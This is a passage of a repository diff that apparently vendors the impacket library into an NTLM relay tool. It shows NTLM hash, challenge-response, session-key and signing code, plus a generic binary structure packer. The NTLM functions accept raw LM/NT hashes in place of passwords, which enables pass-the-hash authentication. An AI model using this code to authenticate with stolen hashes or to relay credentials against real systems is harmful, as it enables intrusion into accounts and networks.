if flags & NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY:
self.structure = self.extendedMessageSignature
else:
self.structure = self.MessageSignature
return Structure.__init__(self, **kargs)
class NTLMMessageSignature(ExtendedOrNotMessageSignature):
extendedMessageSignature = (
('Version','<L=1'),
('Checksum','<q'),
('SeqNum','<I'),
)
MessageSignature = (
('Version','<L=1'),
('RandomPad','<I=0'),
('Checksum','<I'),
('SeqNum','<I'),
)
KNOWN_DES_INPUT = b"KGS!@#$%"
def __expand_DES_key(key):
# Expand the key from a 7-byte password key into a 8-byte DES key
if not isinstance(key, bytes):
key = bytes(key)
key = bytearray(key[:7]).ljust(7, b'\x00')
s = bytearray()
s.append(((key[0] >> 1) & 0x7f) << 1)
s.append(((key[0] & 0x01) << 6 | ((key[1] >> 2) & 0x3f)) << 1)
s.append(((key[1] & 0x03) << 5 | ((key[2] >> 3) & 0x1f)) << 1)
s.append(((key[2] & 0x07) << 4 | ((key[3] >> 4) & 0x0f)) << 1)
s.append(((key[3] & 0x0f) << 3 | ((key[4] >> 5) & 0x07)) << 1)
s.append(((key[4] & 0x1f) << 2 | ((key[5] >> 6) & 0x03)) << 1)
s.append(((key[5] & 0x3f) << 1 | ((key[6] >> 7) & 0x01)) << 1)
s.append((key[6] & 0x7f) << 1)
return bytes(s)
def __DES_block(key, msg):
cipher = DES.new(__expand_DES_key(key),DES.MODE_ECB)
return cipher.encrypt(msg)
def ntlmssp_DES_encrypt(key, challenge):
answer = __DES_block(key[:7], challenge)
answer += __DES_block(key[7:14], challenge)
answer += __DES_block(key[14:], challenge)
return answer
# High level functions to use NTLMSSP
def getNTLMSSPType1(workstation='', domain='', signingRequired = False, use_ntlmv2 = USE_NTLMv2):
# Let's do some encoding checks before moving on. Kind of dirty, but found effective when dealing with
# international characters.
import sys
encoding = sys.getfilesystemencoding()
if encoding is not None:
try:
workstation.encode('utf-16le')
except:
workstation = workstation.decode(encoding)
try:
domain.encode('utf-16le')
except:
domain = domain.decode(encoding)
# Let's prepare a Type 1 NTLMSSP Message
auth = NTLMAuthNegotiate()
auth['flags']=0
if signingRequired:
auth['flags'] = NTLMSSP_NEGOTIATE_KEY_EXCH | NTLMSSP_NEGOTIATE_SIGN | NTLMSSP_NEGOTIATE_ALWAYS_SIGN | \
NTLMSSP_NEGOTIATE_SEAL
if use_ntlmv2:
auth['flags'] |= NTLMSSP_NEGOTIATE_TARGET_INFO
auth['flags'] |= NTLMSSP_NEGOTIATE_NTLM | NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY | NTLMSSP_NEGOTIATE_UNICODE | \
NTLMSSP_REQUEST_TARGET | NTLMSSP_NEGOTIATE_128 | NTLMSSP_NEGOTIATE_56
# We're not adding workstation / domain fields this time. Normally Windows clients don't add such information but,
# we will save the workstation name to be used later.
auth.setWorkstation(workstation)
return auth
def getNTLMSSPType3(type1, type2, user, password, domain, lmhash = '', nthash = '', use_ntlmv2 = USE_NTLMv2):
# Safety check in case somebody sent password = None.. That's not allowed. Setting it to '' and hope for the best.
if password is None:
password = ''
# Let's do some encoding checks before moving on. Kind of dirty, but found effective when dealing with
# international characters.
import sys
encoding = sys.getfilesystemencoding()
if encoding is not None:
try:
user.encode('utf-16le')
except:
user = user.decode(encoding)
try:
password.encode('utf-16le')
except:
password = password.decode(encoding)
try:
domain.encode('utf-16le')
except:
domain = user.decode(encoding)
ntlmChallenge = NTLMAuthChallenge(type2)
# Let's start with the original flags sent in the type1 message
responseFlags = type1['flags']
# Token received and parsed. Depending on the authentication
# method we will create a valid ChallengeResponse
ntlmChallengeResponse = NTLMAuthChallengeResponse(user, password, ntlmChallenge['challenge'])
clientChallenge = b("".join([random.choice(string.digits+string.ascii_letters) for _ in range(8)]))
serverName = ntlmChallenge['TargetInfoFields']
ntResponse, lmResponse, sessionBaseKey = computeResponse(ntlmChallenge['flags'], ntlmChallenge['challenge'],
clientChallenge, serverName, domain, user, password,
lmhash, nthash, use_ntlmv2)
# Let's check the return flags
if (ntlmChallenge['flags'] & NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY) == 0:
# No extended session security, taking it out
responseFlags &= 0xffffffff ^ NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY
if (ntlmChallenge['flags'] & NTLMSSP_NEGOTIATE_128 ) == 0:
# No support for 128 key len, taking it out
responseFlags &= 0xffffffff ^ NTLMSSP_NEGOTIATE_128
if (ntlmChallenge['flags'] & NTLMSSP_NEGOTIATE_KEY_EXCH) == 0:
# No key exchange supported, taking it out
responseFlags &= 0xffffffff ^ NTLMSSP_NEGOTIATE_KEY_EXCH
if (ntlmChallenge['flags'] & NTLMSSP_NEGOTIATE_SEAL) == 0:
# No sign available, taking it out
responseFlags &= 0xffffffff ^ NTLMSSP_NEGOTIATE_SEAL
if (ntlmChallenge['flags'] & NTLMSSP_NEGOTIATE_SIGN) == 0:
# No sign available, taking it out
responseFlags &= 0xffffffff ^ NTLMSSP_NEGOTIATE_SIGN
if (ntlmChallenge['flags'] & NTLMSSP_NEGOTIATE_ALWAYS_SIGN) == 0:
# No sign available, taking it out
responseFlags &= 0xffffffff ^ NTLMSSP_NEGOTIATE_ALWAYS_SIGN
keyExchangeKey = KXKEY(ntlmChallenge['flags'], sessionBaseKey, lmResponse, ntlmChallenge['challenge'], password,
lmhash, nthash, use_ntlmv2)
# Special case for anonymous login
if user == '' and password == '' and lmhash == '' and nthash == '':
keyExchangeKey = b'\x00'*16
# If we set up key exchange, let's fill the right variables
if ntlmChallenge['flags'] & NTLMSSP_NEGOTIATE_KEY_EXCH:
# not exactly what I call random tho :\
# exportedSessionKey = this is the key we should use to sign
exportedSessionKey = b("".join([random.choice(string.digits+string.ascii_letters) for _ in range(16)]))
#exportedSessionKey = "A"*16
#print "keyExchangeKey %r" % keyExchangeKey
# Let's generate the right session key based on the challenge flags
#if responseFlags & NTLMSSP_NTLM2_KEY:
# Extended session security enabled
# if responseFlags & NTLMSSP_KEY_128:
# Full key
# exportedSessionKey = exportedSessionKey
# elif responseFlags & NTLMSSP_KEY_56:
# Only 56-bit key
# exportedSessionKey = exportedSessionKey[:7]
# else:
# exportedSessionKey = exportedSessionKey[:5]
#elif responseFlags & NTLMSSP_KEY_56:
# No extended session security, just 56 bits key
# exportedSessionKey = exportedSessionKey[:7] + '\xa0'
#else:
# exportedSessionKey = exportedSessionKey[:5] + '\xe5\x38\xb0'
encryptedRandomSessionKey = generateEncryptedSessionKey(keyExchangeKey, exportedSessionKey)
else:
encryptedRandomSessionKey = None
# [MS-NLMP] page 46
exportedSessionKey = keyExchangeKey
ntlmChallengeResponse['flags'] = responseFlags
ntlmChallengeResponse['domain_name'] = domain.encode('utf-16le')
ntlmChallengeResponse['host_name'] = type1.getWorkstation().encode('utf-16le')
if lmResponse == '':
ntlmChallengeResponse['lanman'] = b'\x00'
else:
ntlmChallengeResponse['lanman'] = lmResponse
ntlmChallengeResponse['ntlm'] = ntResponse
if encryptedRandomSessionKey is not None:
ntlmChallengeResponse['session_key'] = encryptedRandomSessionKey
return ntlmChallengeResponse, exportedSessionKey
# NTLMv1 Algorithm
def generateSessionKeyV1(password, lmhash, nthash):
hash = MD4.new()
hash.update(NTOWFv1(password, lmhash, nthash))
return hash.digest()
def computeResponseNTLMv1(flags, serverChallenge, clientChallenge, serverName, domain, user, password, lmhash='',
nthash='', use_ntlmv2=USE_NTLMv2):
if user == '' and password == '':
# Special case for anonymous authentication
lmResponse = ''
ntResponse = ''
else:
lmhash = LMOWFv1(password, lmhash, nthash)
nthash = NTOWFv1(password, lmhash, nthash)
if flags & NTLMSSP_NEGOTIATE_LM_KEY:
ntResponse = ''
lmResponse = get_ntlmv1_response(lmhash, serverChallenge)
elif flags & NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY:
md5 = hashlib.new('md5')
chall = (serverChallenge + clientChallenge)
md5.update(chall)
ntResponse = ntlmssp_DES_encrypt(nthash, md5.digest()[:8])
lmResponse = clientChallenge + b'\x00'*16
else:
ntResponse = get_ntlmv1_response(nthash,serverChallenge)
lmResponse = get_ntlmv1_response(lmhash, serverChallenge)
sessionBaseKey = generateSessionKeyV1(password, lmhash, nthash)
return ntResponse, lmResponse, sessionBaseKey
def compute_lmhash(password):
# This is done according to Samba's encryption specification (docs/html/ENCRYPTION.html)
password = password.upper()
lmhash = __DES_block(b(password[:7]), KNOWN_DES_INPUT)
lmhash += __DES_block(b(password[7:14]), KNOWN_DES_INPUT)
return lmhash
def NTOWFv1(password, lmhash = '', nthash=''):
if nthash != '':
return nthash
return compute_nthash(password)
def LMOWFv1(password, lmhash = '', nthash=''):
if lmhash != '':
return lmhash
return compute_lmhash(password)
def compute_nthash(password):
# This is done according to Samba's encryption specification (docs/html/ENCRYPTION.html)
try:
password = str(password).encode('utf_16le')
except UnicodeDecodeError:
import sys
password = password.decode(sys.getfilesystemencoding()).encode('utf_16le')
hash = MD4.new()
hash.update(password)
return hash.digest()
def get_ntlmv1_response(key, challenge):
return ntlmssp_DES_encrypt(key, challenge)
# NTLMv2 Algorithm - as described in MS-NLMP Section 3.3.2
# Crypto Stuff
def MAC(flags, handle, signingKey, seqNum, message):
# [MS-NLMP] Section 3.4.4
# Returns the right messageSignature depending on the flags
messageSignature = NTLMMessageSignature(flags)
if flags & NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY:
if flags & NTLMSSP_NEGOTIATE_KEY_EXCH:
messageSignature['Version'] = 1
messageSignature['Checksum'] = \
struct.unpack('<q', handle(hmac_md5(signingKey, struct.pack('<i', seqNum) + message)[:8]))[0]
messageSignature['SeqNum'] = seqNum
seqNum += 1
else:
messageSignature['Version'] = 1
messageSignature['Checksum'] = struct.unpack('<q',hmac_md5(signingKey, struct.pack('<i',seqNum)+message)[:8])[0]
messageSignature['SeqNum'] = seqNum
seqNum += 1
else:
messageSignature['Version'] = 1
messageSignature['Checksum'] = struct.pack('<I',binascii.crc32(message)& 0xFFFFFFFF)
messageSignature['RandomPad'] = 0
messageSignature['RandomPad'] = handle(struct.pack('<I',messageSignature['RandomPad']))
messageSignature['Checksum'] = struct.unpack('<I',handle(messageSignature['Checksum']))[0]
messageSignature['SeqNum'] = handle(b'\x00\x00\x00\x00')
messageSignature['SeqNum'] = struct.unpack('<I',messageSignature['SeqNum'])[0] ^ seqNum
messageSignature['RandomPad'] = 0
return messageSignature
def SEAL(flags, signingKey, sealingKey, messageToSign, messageToEncrypt, seqNum, handle):
sealedMessage = handle(messageToEncrypt)
signature = MAC(flags, handle, signingKey, seqNum, messageToSign)
return sealedMessage, signature
def SIGN(flags, signingKey, message, seqNum, handle):
return MAC(flags, handle, signingKey, seqNum, message)
def SIGNKEY(flags, randomSessionKey, mode = 'Client'):
if flags & NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY:
if mode == 'Client':
md5 = hashlib.new('md5')
md5.update(randomSessionKey + b"session key to client-to-server signing key magic constant\x00")
signKey = md5.digest()
else:
md5 = hashlib.new('md5')
md5.update(randomSessionKey + b"session key to server-to-client signing key magic constant\x00")
signKey = md5.digest()
else:
signKey = None
return signKey
def SEALKEY(flags, randomSessionKey, mode = 'Client'):
if flags & NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY:
if flags & NTLMSSP_NEGOTIATE_128:
sealKey = randomSessionKey
elif flags & NTLMSSP_NEGOTIATE_56:
sealKey = randomSessionKey[:7]
else:
sealKey = randomSessionKey[:5]
if mode == 'Client':
md5 = hashlib.new('md5')
md5.update(sealKey + b'session key to client-to-server sealing key magic constant\x00')
sealKey = md5.digest()
else:
md5 = hashlib.new('md5')
md5.update(sealKey + b'session key to server-to-client sealing key magic constant\x00')
sealKey = md5.digest()
elif flags & NTLMSSP_NEGOTIATE_56:
sealKey = randomSessionKey[:7] + b'\xa0'
else:
sealKey = randomSessionKey[:5] + b'\xe5\x38\xb0'
return sealKey
def generateEncryptedSessionKey(keyExchangeKey, exportedSessionKey):
cipher = ARC4.new(keyExchangeKey)
cipher_encrypt = cipher.encrypt
sessionKey = cipher_encrypt(exportedSessionKey)
return sessionKey
def KXKEY(flags, sessionBaseKey, lmChallengeResponse, serverChallenge, password, lmhash, nthash, use_ntlmv2 = USE_NTLMv2):
if use_ntlmv2:
return sessionBaseKey
if flags & NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY:
if flags & NTLMSSP_NEGOTIATE_NTLM:
keyExchangeKey = hmac_md5(sessionBaseKey, serverChallenge + lmChallengeResponse[:8])
else:
keyExchangeKey = sessionBaseKey
elif flags & NTLMSSP_NEGOTIATE_NTLM:
if flags & NTLMSSP_NEGOTIATE_LM_KEY:
keyExchangeKey = __DES_block(LMOWFv1(password, lmhash)[:7], lmChallengeResponse[:8]) + __DES_block(
LMOWFv1(password, lmhash)[7] + b'\xBD\xBD\xBD\xBD\xBD\xBD', lmChallengeResponse[:8])
elif flags & NTLMSSP_REQUEST_NON_NT_SESSION_KEY:
keyExchangeKey = LMOWFv1(password,lmhash)[:8] + b'\x00'*8
else:
keyExchangeKey = sessionBaseKey
else:
raise Exception("Can't create a valid KXKEY!")
return keyExchangeKey
def hmac_md5(key, data):
import hmac
h = hmac.new(key, digestmod=hashlib.md5)
h.update(data)
return h.digest()
def NTOWFv2( user, password, domain, hash = ''):
if hash != '':
theHash = hash
else:
theHash = compute_nthash(password)
return hmac_md5(theHash, user.upper().encode('utf-16le') + domain.encode('utf-16le'))
def LMOWFv2( user, password, domain, lmhash = ''):
return NTOWFv2( user, password, domain, lmhash)
def computeResponseNTLMv2(flags, serverChallenge, clientChallenge, serverName, domain, user, password, lmhash='',
nthash='', use_ntlmv2=USE_NTLMv2):
responseServerVersion = b'\x01'
hiResponseServerVersion = b'\x01'
responseKeyNT = NTOWFv2(user, password, domain, nthash)
av_pairs = AV_PAIRS(serverName)
# In order to support SPN target name validation, we have to add this to the serverName av_pairs. Otherwise we will
# get access denied
# This is set at Local Security Policy -> Local Policies -> Security Options -> Server SPN target name validation
# level
if TEST_CASE is False:
av_pairs[NTLMSSP_AV_TARGET_NAME] = 'cifs/'.encode('utf-16le') + av_pairs[NTLMSSP_AV_HOSTNAME][1]
if av_pairs[NTLMSSP_AV_TIME] is not None:
aTime = av_pairs[NTLMSSP_AV_TIME][1]
else:
aTime = struct.pack('<q', (116444736000000000 + calendar.timegm(time.gmtime()) * 10000000) )
av_pairs[NTLMSSP_AV_TIME] = aTime
serverName = av_pairs.getData()
else:
aTime = b'\x00'*8
temp = responseServerVersion + hiResponseServerVersion + b'\x00' * 6 + aTime + clientChallenge + b'\x00' * 4 + \
serverName + b'\x00' * 4
ntProofStr = hmac_md5(responseKeyNT, serverChallenge + temp)
ntChallengeResponse = ntProofStr + temp
lmChallengeResponse = hmac_md5(responseKeyNT, serverChallenge + clientChallenge) + clientChallenge
sessionBaseKey = hmac_md5(responseKeyNT, ntProofStr)
if user == '' and password == '':
# Special case for anonymous authentication
ntChallengeResponse = ''
lmChallengeResponse = ''
return ntChallengeResponse, lmChallengeResponse, sessionBaseKey
class NTLM_HTTP(object):
# Parent class for NTLM HTTP classes.
MSG_TYPE = None
@classmethod
def get_instace(cls,msg_64):
msg = None
msg_type = 0
if msg_64 != '':
msg = base64.b64decode(msg_64[5:]) # Remove the 'NTLM '
msg_type = ord(msg[8])
for _cls in NTLM_HTTP.__subclasses__():
if msg_type == _cls.MSG_TYPE:
instance = _cls()
instance.fromString(msg)
return instance
class NTLM_HTTP_AuthRequired(NTLM_HTTP):
commonHdr = ()
# Message 0 means the first HTTP request e.g. 'GET /bla.png'
MSG_TYPE = 0
def fromString(self,data):
pass
class NTLM_HTTP_AuthNegotiate(NTLM_HTTP, NTLMAuthNegotiate):
commonHdr = ()
MSG_TYPE = 1
def __init__(self):
NTLMAuthNegotiate.__init__(self)
class NTLM_HTTP_AuthChallengeResponse(NTLM_HTTP, NTLMAuthChallengeResponse):
commonHdr = ()
MSG_TYPE = 3
def __init__(self):
NTLMAuthChallengeResponse.__init__(self)

658
tools/MultiRelay/impacket-dev/impacket/structure.py Normal file
View File

@@ -0,0 +1,658 @@
# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
from __future__ import division
from __future__ import print_function
from struct import pack, unpack, calcsize
from six import b, PY3
class Structure:
""" sublcasses can define commonHdr and/or structure.
each of them is an tuple of either two: (fieldName, format) or three: (fieldName, ':', class) fields.
[it can't be a dictionary, because order is important]
where format specifies how the data in the field will be converted to/from bytes (string)
class is the class to use when unpacking ':' fields.
each field can only contain one value (or an array of values for *)
i.e. struct.pack('Hl',1,2) is valid, but format specifier 'Hl' is not (you must use 2 dfferent fields)
format specifiers:
specifiers from module pack can be used with the same format
see struct.__doc__ (pack/unpack is finally called)
x [padding byte]
c [character]
b [signed byte]
B [unsigned byte]
h [signed short]
H [unsigned short]
l [signed long]
L [unsigned long]
i [signed integer]
I [unsigned integer]
q [signed long long (quad)]
Q [unsigned long long (quad)]
s [string (array of chars), must be preceded with length in format specifier, padded with zeros]
p [pascal string (includes byte count), must be preceded with length in format specifier, padded with zeros]
f [float]
d [double]
= [native byte ordering, size and alignment]
@ [native byte ordering, standard size and alignment]
! [network byte ordering]
< [little endian]
> [big endian]
usual printf like specifiers can be used (if started with %)
[not recommended, there is no way to unpack this]
%08x will output an 8 bytes hex
%s will output a string
%s\\x00 will output a NUL terminated string
%d%d will output 2 decimal digits (against the very same specification of Structure)
...
some additional format specifiers:
: just copy the bytes from the field into the output string (input may be string, other structure, or anything responding to __str__()) (for unpacking, all what's left is returned)
z same as :, but adds a NUL byte at the end (asciiz) (for unpacking the first NUL byte is used as terminator) [asciiz string]
u same as z, but adds two NUL bytes at the end (after padding to an even size with NULs). (same for unpacking) [unicode string]
w DCE-RPC/NDR string (it's a macro for [ '<L=(len(field)+1)/2','"\\x00\\x00\\x00\\x00','<L=(len(field)+1)/2',':' ]
?-field length of field named 'field', formatted as specified with ? ('?' may be '!H' for example). The input value overrides the real length
?1*?2 array of elements. Each formatted as '?2', the number of elements in the array is stored as specified by '?1' (?1 is optional, or can also be a constant (number), for unpacking)
'xxxx literal xxxx (field's value doesn't change the output. quotes must not be closed or escaped)
"xxxx literal xxxx (field's value doesn't change the output. quotes must not be closed or escaped)
_ will not pack the field. Accepts a third argument, which is an unpack code. See _Test_UnpackCode for an example
?=packcode will evaluate packcode in the context of the structure, and pack the result as specified by ?. Unpacking is made plain
?&fieldname "Address of field fieldname".
For packing it will simply pack the id() of fieldname. Or use 0 if fieldname doesn't exists.
For unpacking, it's used to know weather fieldname has to be unpacked or not, i.e. by adding a & field you turn another field (fieldname) in an optional field.
"""
commonHdr = ()
structure = ()
debug = 0
def __init__(self, data = None, alignment = 0):
if not hasattr(self, 'alignment'):
self.alignment = alignment
self.fields = {}
self.rawData = data
if data is not None:
self.fromString(data)
else:
self.data = None
@classmethod
def fromFile(self, file):
answer = self()
answer.fromString(file.read(len(answer)))
return answer
def setAlignment(self, alignment):
self.alignment = alignment
def setData(self, data):
self.data = data
def packField(self, fieldName, format = None):
if self.debug:
print("packField( %s | %s )" % (fieldName, format))
if format is None:
format = self.formatForField(fieldName)
if fieldName in self.fields:
ans = self.pack(format, self.fields[fieldName], field = fieldName)
else:
ans = self.pack(format, None, field = fieldName)
if self.debug:
print("\tanswer %r" % ans)
return ans
def getData(self):
if self.data is not None:
return self.data
data = bytes()
for field in self.commonHdr+self.structure:
try:
data += self.packField(field[0], field[1])
except Exception as e:
if field[0] in self.fields:
e.args += ("When packing field '%s | %s | %r' in %s" % (field[0], field[1], self[field[0]], self.__class__),)
else:
e.args += ("When packing field '%s | %s' in %s" % (field[0], field[1], self.__class__),)
raise
if self.alignment:
if len(data) % self.alignment:
data += (b'\x00'*self.alignment)[:-(len(data) % self.alignment)]
#if len(data) % self.alignment: data += ('\x00'*self.alignment)[:-(len(data) % self.alignment)]
return data
def fromString(self, data):
self.rawData = data
for field in self.commonHdr+self.structure:
if self.debug:
print("fromString( %s | %s | %r )" % (field[0], field[1], data))
size = self.calcUnpackSize(field[1], data, field[0])
if self.debug:
print(" size = %d" % size)
dataClassOrCode = b
if len(field) > 2:
dataClassOrCode = field[2]
try:
self[field[0]] = self.unpack(field[1], data[:size], dataClassOrCode = dataClassOrCode, field = field[0])
except Exception as e:
e.args += ("When unpacking field '%s | %s | %r[:%d]'" % (field[0], field[1], data, size),)
raise
size = self.calcPackSize(field[1], self[field[0]], field[0])
if self.alignment and size % self.alignment:
size += self.alignment - (size % self.alignment)
data = data[size:]
return self
def __setitem__(self, key, value):
self.fields[key] = value
self.data = None # force recompute
def __getitem__(self, key):
return self.fields[key]
def __delitem__(self, key):
del self.fields[key]
def __str__(self):
return self.getData()
def __len__(self):
# XXX: improve
return len(self.getData())
def pack(self, format, data, field = None):
if self.debug:
print(" pack( %s | %r | %s)" % (format, data, field))
if field:
addressField = self.findAddressFieldFor(field)
if (addressField is not None) and (data is None):
return b''
# void specifier
if format[:1] == '_':
return b''
# quote specifier
if format[:1] == "'" or format[:1] == '"':
return b(format[1:])
# code specifier
two = format.split('=')
if len(two) >= 2:
try:
return self.pack(two[0], data)
except:
fields = {'self':self}
fields.update(self.fields)
return self.pack(two[0], eval(two[1], {}, fields))
# address specifier
two = format.split('&')
if len(two) == 2:
try:
return self.pack(two[0], data)
except:
if (two[1] in self.fields) and (self[two[1]] is not None):
return self.pack(two[0], id(self[two[1]]) & ((1<<(calcsize(two[0])*8))-1) )
else:
return self.pack(two[0], 0)
# length specifier
two = format.split('-')
if len(two) == 2:
try:
return self.pack(two[0],data)
except:
return self.pack(two[0], self.calcPackFieldSize(two[1]))
# array specifier
two = format.split('*')
if len(two) == 2:
answer = bytes()
for each in data:
answer += self.pack(two[1], each)
if two[0]:
if two[0].isdigit():
if int(two[0]) != len(data):
raise Exception("Array field has a constant size, and it doesn't match the actual value")
else:
return self.pack(two[0], len(data))+answer
return answer
# "printf" string specifier
if format[:1] == '%':
# format string like specifier
return b(format % data)
# asciiz specifier
if format[:1] == 'z':
if isinstance(data,bytes):
return data + b('\0')
return bytes(b(data)+b('\0'))
# unicode specifier
if format[:1] == 'u':
return bytes(data+b('\0\0') + (len(data) & 1 and b('\0') or b''))
# DCE-RPC/NDR string specifier
if format[:1] == 'w':
if len(data) == 0:
data = b('\0\0')
elif len(data) % 2:
data = b(data) + b('\0')
l = pack('<L', len(data)//2)
return b''.join([l, l, b('\0\0\0\0'), data])
if data is None:
raise Exception("Trying to pack None")
# literal specifier
if format[:1] == ':':
if isinstance(data, Structure):
return data.getData()
# If we have an object that can serialize itself, go ahead
elif hasattr(data, "getData"):
return data.getData()
elif isinstance(data, int):
return bytes(data)
elif isinstance(data, bytes) is not True:
return bytes(b(data))
else:
return data
if format[-1:] == 's':
# Let's be sure we send the right type
if isinstance(data, bytes) or isinstance(data, bytearray):
return pack(format, data)
else:
return pack(format, b(data))
# struct like specifier
return pack(format, data)
def unpack(self, format, data, dataClassOrCode = b, field = None):
if self.debug:
print(" unpack( %s | %r )" % (format, data))
if field:
addressField = self.findAddressFieldFor(field)
if addressField is not None:
if not self[addressField]:
return
# void specifier
if format[:1] == '_':
if dataClassOrCode != b:
fields = {'self':self, 'inputDataLeft':data}
fields.update(self.fields)
return eval(dataClassOrCode, {}, fields)
else:
return None
# quote specifier
if format[:1] == "'" or format[:1] == '"':
answer = format[1:]
if b(answer) != data:
raise Exception("Unpacked data doesn't match constant value '%r' should be '%r'" % (data, answer))
return answer
# address specifier
two = format.split('&')
if len(two) == 2:
return self.unpack(two[0],data)
# code specifier
two = format.split('=')
if len(two) >= 2:
return self.unpack(two[0],data)
# length specifier
two = format.split('-')
if len(two) == 2:
return self.unpack(two[0],data)
# array specifier
two = format.split('*')
if len(two) == 2:
answer = []
sofar = 0
if two[0].isdigit():
number = int(two[0])
elif two[0]:
sofar += self.calcUnpackSize(two[0], data)
number = self.unpack(two[0], data[:sofar])
else:
number = -1
while number and sofar < len(data):
nsofar = sofar + self.calcUnpackSize(two[1],data[sofar:])
answer.append(self.unpack(two[1], data[sofar:nsofar], dataClassOrCode))
number -= 1
sofar = nsofar
return answer
# "printf" string specifier
if format[:1] == '%':
# format string like specifier
return format % data
# asciiz specifier
if format == 'z':
if data[-1:] != b('\x00'):
raise Exception("%s 'z' field is not NUL terminated: %r" % (field, data))
if PY3:
return data[:-1].decode('latin-1')
else:
return data[:-1]
# unicode specifier
if format == 'u':
if data[-2:] != b('\x00\x00'):
raise Exception("%s 'u' field is not NUL-NUL terminated: %r" % (field, data))
return data[:-2] # remove trailing NUL
# DCE-RPC/NDR string specifier
if format == 'w':
l = unpack('<L', data[:4])[0]
return data[12:12+l*2]
# literal specifier
if format == ':':
if isinstance(data, bytes) and dataClassOrCode is b:
return data
return dataClassOrCode(data)
# struct like specifier
return unpack(format, data)[0]
def calcPackSize(self, format, data, field = None):
# # print " calcPackSize %s:%r" % (format, data)
if field:
addressField = self.findAddressFieldFor(field)
if addressField is not None:
if not self[addressField]:
return 0
# void specifier
if format[:1] == '_':
return 0
# quote specifier
if format[:1] == "'" or format[:1] == '"':
return len(format)-1
# address specifier
two = format.split('&')
if len(two) == 2:
return self.calcPackSize(two[0], data)
# code specifier
two = format.split('=')
if len(two) >= 2:
return self.calcPackSize(two[0], data)
# length specifier
two = format.split('-')
if len(two) == 2:
return self.calcPackSize(two[0], data)
# array specifier
two = format.split('*')
if len(two) == 2:
answer = 0
if two[0].isdigit():
if int(two[0]) != len(data):
raise Exception("Array field has a constant size, and it doesn't match the actual value")
elif two[0]:
answer += self.calcPackSize(two[0], len(data))
for each in data:
answer += self.calcPackSize(two[1], each)
return answer
# "printf" string specifier
if format[:1] == '%':
# format string like specifier
return len(format % data)
# asciiz specifier
if format[:1] == 'z':
return len(data)+1
# asciiz specifier
if format[:1] == 'u':
l = len(data)
return l + (l & 1 and 3 or 2)
# DCE-RPC/NDR string specifier
if format[:1] == 'w':
l = len(data)
return 12+l+l % 2
# literal specifier
if format[:1] == ':':
return len(data)
# struct like specifier
return calcsize(format)
def calcUnpackSize(self, format, data, field = None):
if self.debug:
print(" calcUnpackSize( %s | %s | %r)" % (field, format, data))
# void specifier
if format[:1] == '_':
return 0
addressField = self.findAddressFieldFor(field)
if addressField is not None:
if not self[addressField]:
return 0
try:
lengthField = self.findLengthFieldFor(field)
return int(self[lengthField])
except Exception:
pass
# XXX: Try to match to actual values, raise if no match
# quote specifier
if format[:1] == "'" or format[:1] == '"':
return len(format)-1
# address specifier
two = format.split('&')
if len(two) == 2:
return self.calcUnpackSize(two[0], data)
# code specifier
two = format.split('=')
if len(two) >= 2:
return self.calcUnpackSize(two[0], data)
# length specifier
two = format.split('-')
if len(two) == 2:
return self.calcUnpackSize(two[0], data)
# array specifier
two = format.split('*')
if len(two) == 2:
answer = 0
if two[0]:
if two[0].isdigit():
number = int(two[0])
else:
answer += self.calcUnpackSize(two[0], data)
number = self.unpack(two[0], data[:answer])
while number:
number -= 1
answer += self.calcUnpackSize(two[1], data[answer:])
else:
while answer < len(data):
answer += self.calcUnpackSize(two[1], data[answer:])
return answer
# "printf" string specifier
if format[:1] == '%':
raise Exception("Can't guess the size of a printf like specifier for unpacking")
# asciiz specifier
if format[:1] == 'z':
return data.index(b('\x00'))+1
# asciiz specifier
if format[:1] == 'u':
l = data.index(b('\x00\x00'))
return l + (l & 1 and 3 or 2)
# DCE-RPC/NDR string specifier
if format[:1] == 'w':
l = unpack('<L', data[:4])[0]
return 12+l*2
# literal specifier
if format[:1] == ':':
return len(data)
# struct like specifier
return calcsize(format)
def calcPackFieldSize(self, fieldName, format = None):
if format is None:
format = self.formatForField(fieldName)
return self.calcPackSize(format, self[fieldName])
def formatForField(self, fieldName):
for field in self.commonHdr+self.structure:
if field[0] == fieldName:
return field[1]
raise Exception("Field %s not found" % fieldName)
def findAddressFieldFor(self, fieldName):
descriptor = '&%s' % fieldName
l = len(descriptor)
for field in self.commonHdr+self.structure:
if field[1][-l:] == descriptor:
return field[0]
return None
def findLengthFieldFor(self, fieldName):
descriptor = '-%s' % fieldName
l = len(descriptor)
for field in self.commonHdr+self.structure:
if field[1][-l:] == descriptor:
return field[0]
return None
def zeroValue(self, format):
two = format.split('*')
if len(two) == 2:
if two[0].isdigit():
return (self.zeroValue(two[1]),)*int(two[0])
if not format.find('*') == -1:
return ()
if 's' in format:
return b''
if format in ['z',':','u']:
return b''
if format == 'w':
return b('\x00\x00')
return 0
def clear(self):
for field in self.commonHdr + self.structure:
self[field[0]] = self.zeroValue(field[1])
def dump(self, msg = None, indent = 0):
if msg is None:
msg = self.__class__.__name__
ind = ' '*indent
print("\n%s" % msg)
fixedFields = []
for field in self.commonHdr+self.structure:
i = field[0]
if i in self.fields:
fixedFields.append(i)
if isinstance(self[i], Structure):
self[i].dump('%s%s:{' % (ind,i), indent = indent + 4)
print("%s}" % ind)
else:
print("%s%s: {%r}" % (ind,i,self[i]))
# Do we have remaining fields not defined in the structures? let's
# print them
remainingFields = list(set(self.fields) - set(fixedFields))
for i in remainingFields:
if isinstance(self[i], Structure):
self[i].dump('%s%s:{' % (ind,i), indent = indent + 4)
print("%s}" % ind)
else:
print("%s%s: {%r}" % (ind,i,self[i]))
def pretty_print(x):
if chr(x) in '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~ ':
return chr(x)
else:
return u'.'
def hexdump(data, indent = ''):
if data is None:
return
if isinstance(data, int):
data = str(data).encode('utf-8')
x=bytearray(data)
strLen = len(x)
i = 0
while i < strLen:
